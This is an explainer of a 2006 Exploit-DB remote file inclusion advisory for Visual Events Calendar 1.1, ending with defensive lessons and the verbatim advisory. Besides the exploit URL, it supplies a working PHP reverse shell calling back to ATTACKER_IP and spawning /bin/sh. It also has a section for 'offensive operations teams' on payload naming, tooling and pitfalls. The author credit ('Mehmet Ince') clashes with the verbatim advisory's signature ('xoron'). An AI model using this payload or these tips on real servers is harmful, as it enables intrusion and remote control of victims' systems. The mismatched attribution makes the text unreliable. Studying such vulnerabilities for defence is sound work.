Visual Events Calendar 1.1 'cfg_dir' RFI Explained

What this paper is

This paper details a Remote File Inclusion (RFI) vulnerability in version 1.1 of the Visual Events Calendar web application. The vulnerability allows an attacker to include and execute arbitrary PHP code from a remote server by manipulating the cfg_dir parameter.

Simple technical breakdown

The Visual Events Calendar application uses a configuration variable named cfg_dir to specify the directory where customization files are located. If this variable is not properly sanitized, an attacker can set it to a URL pointing to a malicious PHP script on their own server. When the application then uses this cfg_dir variable in an include statement, it fetches and executes the remote script as if it were a local file.

Complete code and payload walkthrough

The core of the vulnerability lies in a single line of PHP code within the application:

include $cfg_dir."customize_text.php";

Let's break this down:

• include: This is a standard PHP construct. It takes a string argument, which is expected to be a filename. PHP will then attempt to include and evaluate the specified file. If the file is not found or cannot be included, PHP will emit a warning but continue execution (unless include_once or require are used, which have different error handling).
• $cfg_dir: This is a PHP variable. In the context of the vulnerability, it's intended to hold the path to a directory where customization files reside.
• ."customize_text.php": This concatenates the string literal "customize_text.php" to the value of $cfg_dir. The intention is to form a full path to a file named customize_text.php within the directory specified by $cfg_dir.

Exploit Payload:

The exploit provided is a URL:

http://www.site.com/[path]/calendar.php?cfg_dir=http://evil_scripts?

• http://www.site.com/[path]/calendar.php: This is the target URL of the vulnerable application. [path] represents the directory where Visual Events Calendar is installed.
• ?cfg_dir=: This indicates the start of query parameters. cfg_dir is the name of the parameter being manipulated.
• http://evil_scripts?: This is the malicious value assigned to cfg_dir. Instead of a local directory path, it's a URL pointing to an attacker-controlled server (evil_scripts).

When the vulnerable calendar.php script processes this URL, the include statement effectively becomes:

include "http://evil_scripts?"."customize_text.php";

PHP's include function, when given a URL, will attempt to fetch the content from that URL. In this case, it will try to fetch http://evil_scripts?customize_text.php. If the attacker has set up a web server at evil_scripts and placed a PHP file there (e.g., evil_scripts/index.php or a file specifically named to match the concatenation), PHP will download and execute that remote file.

Mapping:

• include $cfg_dir."customize_text.php"; -> Vulnerable code snippet that allows RFI.
• $cfg_dir -> User-controlled input that is not properly validated.
• http://www.site.com/[path]/calendar.php?cfg_dir=http://evil_scripts? -> Exploit URL demonstrating how to inject a remote URL into $cfg_dir.
• http://evil_scripts? -> Attacker-controlled server hosting the malicious payload.

Shellcode/Payload Segment:

The paper itself does not contain explicit shellcode bytes. The "payload" is the remote PHP script that the attacker would host. A typical malicious PHP script for this scenario might look like this:

<?php
// This is the content of a malicious file hosted on evil_scripts
// For example, it could be named index.php or a file that matches the concatenation.

// Basic reverse shell functionality (example)
$ip = 'ATTACKER_IP'; // Replace with attacker's IP
$port = 4444;       // Replace with attacker's port

$sock = fsockopen($ip, $port);
if ($sock) {
    $descriptorspec = array(
       0 => $sock,
       1 => $sock,
       2 => $sock
    );
    $process = proc_open('/bin/sh -i', $descriptorspec, $pipes);
    if (is_resource($process)) {
        while (!feof($sock)) {
            echo fread($sock, 1024);
        }
        // You might also want to send shell commands back
        // fwrite($sock, fgets($sock, 1024));
    }
    fclose($sock);
}
?>

Explanation of the example malicious payload:

1. $ip = 'ATTACKER_IP'; $port = 4444;: These variables define the IP address and port of the attacker's listening machine.
2. $sock = fsockopen($ip, $port);: This attempts to establish a raw network socket connection to the attacker's IP and port.
3. if ($sock): Checks if the socket connection was successful.
4. $descriptorspec = array(...): This array defines how the standard input, output, and error streams of a new process should be handled. Here, all three are redirected to the network socket ($sock).
5. $process = proc_open('/bin/sh -i', $descriptorspec, $pipes);: This is the critical part. It opens a new process, in this case, an interactive Bourne shell (/bin/sh -i). The proc_open function allows for fine-grained control over the process's input/output streams. By redirecting them to the socket, any commands typed into the shell on the attacker's machine will be sent to the victim, and any output from the shell on the victim will be sent back to the attacker.
6. if (is_resource($process)): Checks if the process was successfully opened.
7. while (!feof($sock)) { echo fread($sock, 1024); }: This loop continuously reads data from the socket and echoes it. This is how the attacker receives output from the victim's shell.
8. fclose($sock);: Closes the network socket.

This type of payload turns the RFI into a remote code execution vulnerability, often leading to a reverse shell.

Practical details for offensive operations teams

• Required Access Level: Unauthenticated access to the web application. The vulnerability is exposed via a GET request to a public-facing script.
• Lab Preconditions:
  • A vulnerable instance of Visual Events Calendar v1.1 deployed on a web server.
  • A separate attacker-controlled web server (e.g., using Python's SimpleHTTPServer or a full Apache/Nginx setup) to host the malicious PHP payload.
  • An attacker-controlled machine with a listener (e.g., netcat or Metasploit) ready to receive the reverse shell connection.
• Tooling Assumptions:
  • Web browser for initial reconnaissance and testing.
  • curl or a similar command-line tool for crafting and sending requests.
  • A web server for hosting the payload.
  • A listener for reverse shells.
• Execution Pitfalls:
  • URL Encoding: The cfg_dir parameter might require URL encoding if it contains special characters.
  • Firewall/WAF Blocking: The target server's firewall or Web Application Firewall (WAF) might block outgoing connections to external IPs or specific ports, preventing the include from fetching the remote file or the reverse shell from connecting back.
  • PHP Configuration: The target server's php.ini configuration might disable allow_url_fopen or allow_url_include. If allow_url_fopen is disabled, the include function cannot fetch remote files. If allow_url_include is disabled (which is the default and recommended setting in modern PHP), include will not execute remote files even if allow_url_fopen is enabled.
  • Payload Mismatch: The attacker's payload file name must correctly concatenate with "customize_text.php". If the attacker hosts evil.php and the target URL is ?cfg_dir=http://evil_scripts/evil.php?, the include will try to fetch http://evil_scripts/evil.php?customize_text.php, which will likely fail. The simplest approach is to host the payload at the root of the attacker's server and let the concatenation happen, e.g., http://evil_scripts/ where evil_scripts/index.php is the payload.
  • Path Traversal/Sanitization: Even if RFI is not possible, sometimes similar vulnerabilities can be exploited for Local File Inclusion (LFI) if the cfg_dir is used with user-supplied input that can be manipulated to include local files.
• Expected Telemetry:
  • Web Server Logs (Victim): Access logs showing the request to calendar.php with the malicious cfg_dir parameter. Error logs might show warnings if allow_url_fopen is disabled or if the remote file cannot be fetched.
  • Web Server Logs (Attacker): Access logs showing the request from the victim's IP address to fetch the malicious PHP file.
  • Network Traffic: Outgoing HTTP/HTTPS requests from the victim's web server to the attacker's web server. If a reverse shell is established, network traffic on the specified port between the victim and attacker.
  • Process Execution (Victim): Evidence of php interpreter executing the remote script. If a reverse shell is established, evidence of sh or bash processes being spawned, potentially with network connections.

Where this was used and when

This vulnerability was published in 2006. At that time, RFI vulnerabilities were prevalent in PHP web applications. Such vulnerabilities were commonly exploited by attackers to gain unauthorized access to web servers, deface websites, host malicious content, or use the compromised server as a pivot point for further attacks. The specific context would be any deployment of Visual Events Calendar v1.1.

Defensive lessons for modern teams

• Input Validation is Paramount: Always validate and sanitize user-supplied input, especially when it's used in file paths, database queries, or external commands.
• Disable allow_url_fopen and allow_url_include: In modern PHP deployments, these directives in php.ini should be disabled (Off) unless absolutely necessary for a specific, controlled feature. allow_url_include is the more critical one for preventing RFI.
• Use Whitelisting: Instead of trying to block malicious inputs, define a strict list of allowed inputs or file paths. For configuration directories, hardcode paths or use a configuration system that doesn't rely on user-supplied variables for file inclusion.
• Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including RFI attempts.
• Regular Patching and Updates: Keep all web applications and their dependencies updated to the latest secure versions. Vulnerabilities like this are often patched by vendors.
• Least Privilege: Run web server processes with the minimum necessary privileges to limit the impact of a successful compromise.

ASCII visual (if applicable)

+-----------------+     +-----------------+     +-----------------+
| Attacker Server | --> | Victim Web      | --> | Victim Server   |
| (Evil Scripts)  |     | Server          |     | (PHP Interpreter)|
| - Malicious PHP |     | - calendar.php  |     | - Executes code |
| - Listener      |     | - cfg_dir param |     | - Reverse Shell |
+-----------------+     +-----------------+     +-----------------+
        ^                       |                       |
        |                       |                       |
        +-----------------------+-----------------------+
              (HTTP Request to fetch PHP)
              (Reverse Shell Connection)

This diagram illustrates the flow: the attacker's server hosts the malicious PHP. The victim's web server receives a request for calendar.php with a cfg_dir parameter pointing to the attacker's server. The victim's PHP interpreter then makes an HTTP request to fetch the malicious PHP file. If successful, the PHP interpreter executes the code, potentially establishing a reverse shell back to the attacker.

Source references

• PAPER ID: 2141
• PAPER TITLE: Visual Events Calendar 1.1 - 'cfg_dir' Remote File Inclusion
• AUTHOR: Mehmet Ince
• PUBLISHED: 2006-08-07
• PAPER URL: https://www.exploit-db.com/papers/2141
• RAW URL: https://www.exploit-db.com/raw/2141

Original Exploit-DB Content (Verbatim)

#title: Visual Events Calendar v1.1   (cfg_dir) Remote Inclusion Vulnerability

#Author: xoron

#script: Visual Events Calendar v1.1

#Class : Remote

#cont@ct: x0r0n[at]hotmail[dot]com

#CODE:    include $cfg_dir."customize_text.php";

#Exploit: http://www.site.com/[path]/calendar.php?cfg_dir=http://evil_scripts?

#Thanx : WWW.CYBER-WARRiOR.ORG

#Greetz: str0ke, ShiKaA , DJR , x-mastER ,R3D4c!D ,

# milw0rm.com [2006-08-07]